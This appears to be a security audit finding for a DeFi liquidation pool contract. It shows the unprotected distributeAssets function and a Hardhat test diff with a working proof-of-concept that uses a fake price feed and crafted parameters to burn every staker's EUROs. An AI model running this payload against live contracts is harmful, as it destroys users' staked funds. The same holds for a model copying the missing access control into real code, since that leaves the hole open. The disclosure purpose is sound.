Both functions don't implement any access control mechanism. For runLiquidation
function it's acceptable, because it has only single parameter, which is properly validated. And, as I suppose, access control omitted for distributeAssets
because developers assumed that since this function requires some token approvals and ETH transferred, no one will profit from calling it.
But, due to the fact that all important variables, involved in calculations, taken from the arguments, and function's logic pretty complicated, it's possible to craft a payload which results in complete wipe of all EUROs staked in the pool.
EUROs tokens for all stakers will be burned, regarding of their balance, and no rewards received.
EUROs token destabilized.
Attacker has no profit in assets directly, but (perhaps) can profit from EUROs price fluctuations.
Almost zero cost and no pre-conditions required for exploit, except some EUROs being staked in the pool.
Here I represent the vulnerable function with very detailed comments on how to achieve the most destructive logic path:
206:
207:
208:
209:
210:
211:
212: function distributeAssets(
213: ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC
214: ) external payable {
215: consolidatePendingStakes();
216: (,int256 priceEurUsd,,,) = Chainlink.AggregatorV3Interface(eurUsd).latestRoundData();
217: uint256 stakeTotal = getStakeTotal();
218: uint256 burnEuros;
219: uint256 nativePurchased;
220:
221:
222: for (uint256 j = 0; j < holders.length; j++) {
223: Position memory _position = positions[holders[j]];
224: uint256 _positionStake = stake(_position);
225:
226:
227: if (_positionStake > 0) {
228:
229: for (uint256 i = 0; i < _assets.length; i++) {
230:
231: ILiquidationPoolManager.Asset memory asset = _assets[i];
232: if (asset.amount > 0) {
233:
234:
235: (,int256 assetPriceUsd,,,) =
236: Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
237:
238: uint256 _portion = asset.amount * _positionStake / stakeTotal;
239:
240: uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec)
241: * uint256(assetPriceUsd) / uint256(priceEurUsd)
242: * _hundredPC / _collateralRate;
243:
244: if (costInEuros > _position.EUROs) {
245: _portion = _portion * _position.EUROs / costInEuros;
246: costInEuros = _position.EUROs;
247: }
248:
249: _position.EUROs -= costInEuros;
250:
251: rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
252:
253: burnEuros += costInEuros;
254:
255: if (asset.token.addr == address(0)) {
256: nativePurchased += _portion;
257: } else {
258: IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
259: }
260: }
261: }
262: }
263:
264: positions[holders[j]] = _position;
265: }
266:
267: if (burnEuros > 0) IEUROs(EUROs).burn(address(this), burnEuros);
268:
269: returnUnpurchasedNative(_assets, nativePurchased);
270: }
271: }
@@ -2,6 +2,7 @@
const { ethers } = require("hardhat");
const { BigNumber } = ethers;
const { mockTokenManager, DEFAULT_COLLATERAL_RATE, TOKEN_ID, rewardAmountForAsset, DAY, fastForward, POOL_FEE_PERCENTAGE, DEFAULT_EUR_USD_PRICE } = require("./common");
+const assert = require("assert");
describe('LiquidationPool', async () => {
let user1, user2, user3, Protocol, LiquidationPoolManager, LiquidationPool, MockSmartVaultManager,
@@ -46,11 +47,118 @@
});
});
- describe('increase position', async () => {
- it('allows increasing position by one or both assets', async () => {
- const balance = ethers.utils.parseEther('5000');
- const tstVal = ethers.utils.parseEther('1000');
- const eurosVal = ethers.utils.parseEther('500');
+ it.only('Allows anyone to burn all EUROs in the pool', async () => {
+ // Prepare stakers data
+ const TSTDecimals = await TST.decimals();
+ const EUROsDecimals = await EUROs.decimals();
+ const user1TSTStake = ethers.utils.parseEther('1000');
+ const user1EUROsStake = ethers.utils.parseEther('1000');
+ const user2TSTStake = ethers.utils.parseEther('500');
+ const user2EUROsStake = ethers.utils.parseEther('500000');
+
+ // Setup attacker
+ const [attacker] = await ethers.getSigners();
+ const EthUsdFeed = await (await ethers.getContractFactory('MaliciousChainlink')).deploy();
+
+ // Mint initial tokens for stakers
+ await TST.mint(user1.address, user1TSTStake);
+ await TST.mint(user2.address, user2TSTStake);
+ await EUROs.mint(user1.address, user1EUROsStake);
+ await EUROs.mint(user2.address, user2EUROsStake);
+
+ // Approve pool for TST, so we can deposit assets
+ await TST.connect(user1).approve(LiquidationPool.address, user1TSTStake);
+ await TST.connect(user2).approve(LiquidationPool.address, user2TSTStake);
+ await EUROs.connect(user1).approve(LiquidationPool.address, user1EUROsStake);
+ await EUROs.connect(user2).approve(LiquidationPool.address, user2EUROsStake);
+
+ // Adding pending positions
+ await LiquidationPool.connect(user1).increasePosition(user1TSTStake, user1EUROsStake);
+ await LiquidationPool.connect(user2).increasePosition(user2TSTStake, user2EUROsStake);
+
+ // Advance in time(1d), so our pending stakes can migrate to a Position and start collecting fees
+ await network.provider.send("evm_increaseTime", [86_500]);
+
+ // Check pool balance
+ let poolEUROs = await EUROs.balanceOf(LiquidationPool.address).then(balance =>
+ ethers.utils.formatUnits(balance, EUROsDecimals));
+ console.log(`> Pool initial balance: EUROs=${poolEUROs}`)
+
+ // Check initial state of position for user1
+ let {_position: position1, _rewards: rewards1} = await LiquidationPool.position(user1.address);
+
+ let user1TST = ethers.utils.formatUnits(position1.TST, TSTDecimals);
+ let user1EUROs = ethers.utils.formatUnits(position1.EUROs, EUROsDecimals);
+ let user1ETHReward = rewardAmountForAsset(rewards1, 'ETH');
+
+ console.log(`> user1 initial position: TST=${user1TST}, EUROs=${user1EUROs}, ETHReward=${user1ETHReward}`);
+
+ // Check initial state of position for user2
+ let {_position: position2, _rewards: rewards2} = await LiquidationPool.position(user2.address);
+
+ let user2TST = ethers.utils.formatUnits(position2.TST, TSTDecimals);
+ let user2EUROs = ethers.utils.formatUnits(position2.EUROs, EUROsDecimals);
+ let user2ETHReward = rewardAmountForAsset(rewards2, 'ETH');
+
+ console.log(`> user2 initial position: TST=${user2TST}, EUROs=${user2EUROs}, ETHReward=${user2ETHReward}`);
+
+ // Start exploitation
+ console.log("\n~ Start exploit");
+
+ const overvaluedEthAssetToDistribute = {
+ token: {
+ symbol: ethers.constants.HashZero, // Empty "symbol" allows to bypass returning "unpurchased" ETH to LiquidationPoolManager
+ addr: ethers.constants.AddressZero, // Mark asset as "NATIVE"
+ dec: 18,
+ clAddr: EthUsdFeed.address,// Fake price feed (1 ETH = 1e32 USD)
+ clDec: 8,
+ },
+ amount: 1e3, // Can use any number. ETH will not be spent anyway. Just need to coordinate this value with price
+ };
+ const assets = [overvaluedEthAssetToDistribute];
+ const collateralRate = 1;
+ const hundredPC = 1;
+
+ // Send malicious payload to unprotected function
+ await LiquidationPool.connect(attacker).distributeAssets(assets, collateralRate, hundredPC);
+ console.log("~ Complete exploit\n");
+
+ // Check state after attack
+
+ // Check pool balance
+ poolEUROs = await EUROs.balanceOf(LiquidationPool.address).then(balance =>
+ ethers.utils.formatUnits(balance, EUROsDecimals));
+ console.log(`> Pool attacked balance: EUROs=${poolEUROs}`);
+ // Check user1 position
+ ({_position: position1, _rewards: rewards1} = await LiquidationPool.position(user1.address));
+
+ user1TST = ethers.utils.formatUnits(position1.TST, TSTDecimals);
+ user1EUROs = ethers.utils.formatUnits(position1.EUROs, EUROsDecimals);
+ user1ETHReward = rewardAmountForAsset(rewards1, 'ETH');
+
+ console.log(`> user1 attacked position: TST=${user1TST}, EUROs=${user1EUROs}, ETHReward=${user1ETHReward}`);
+
+ // Check user2 position
+ ({_position: position2, _rewards: rewards2} = await LiquidationPool.position(user2.address));
+
+ user2TST = ethers.utils.formatUnits(position2.TST, TSTDecimals);
+ user2EUROs = ethers.utils.formatUnits(position2.EUROs, EUROsDecimals);
+ user2ETHReward = rewardAmountForAsset(rewards2, 'ETH');
+
+ console.log(`> user2 attacked position: TST=${user2TST}, EUROs=${user2EUROs}, ETHReward=${user2ETHReward}`);
+
+ assert(poolEUROs === "0.0");
+ assert(user1EUROs === "0.0");
+ assert(user2EUROs === "0.0");
+ expect(user1ETHReward).to.equal("0");
+ expect(user2ETHReward).to.equal("0");
+ });
+
+ describe('increase position', async () => {
+ it('allows increasing position by one or both assets', async () => {
+ const balance = ethers.utils.parseEther('5000');
+ const tstVal = ethers.utils.parseEther('1000');
+ const eurosVal = ethers.utils.parseEther('500');
await TST.mint(user1.address, balance);
await EUROs.mint(user1.address, balance);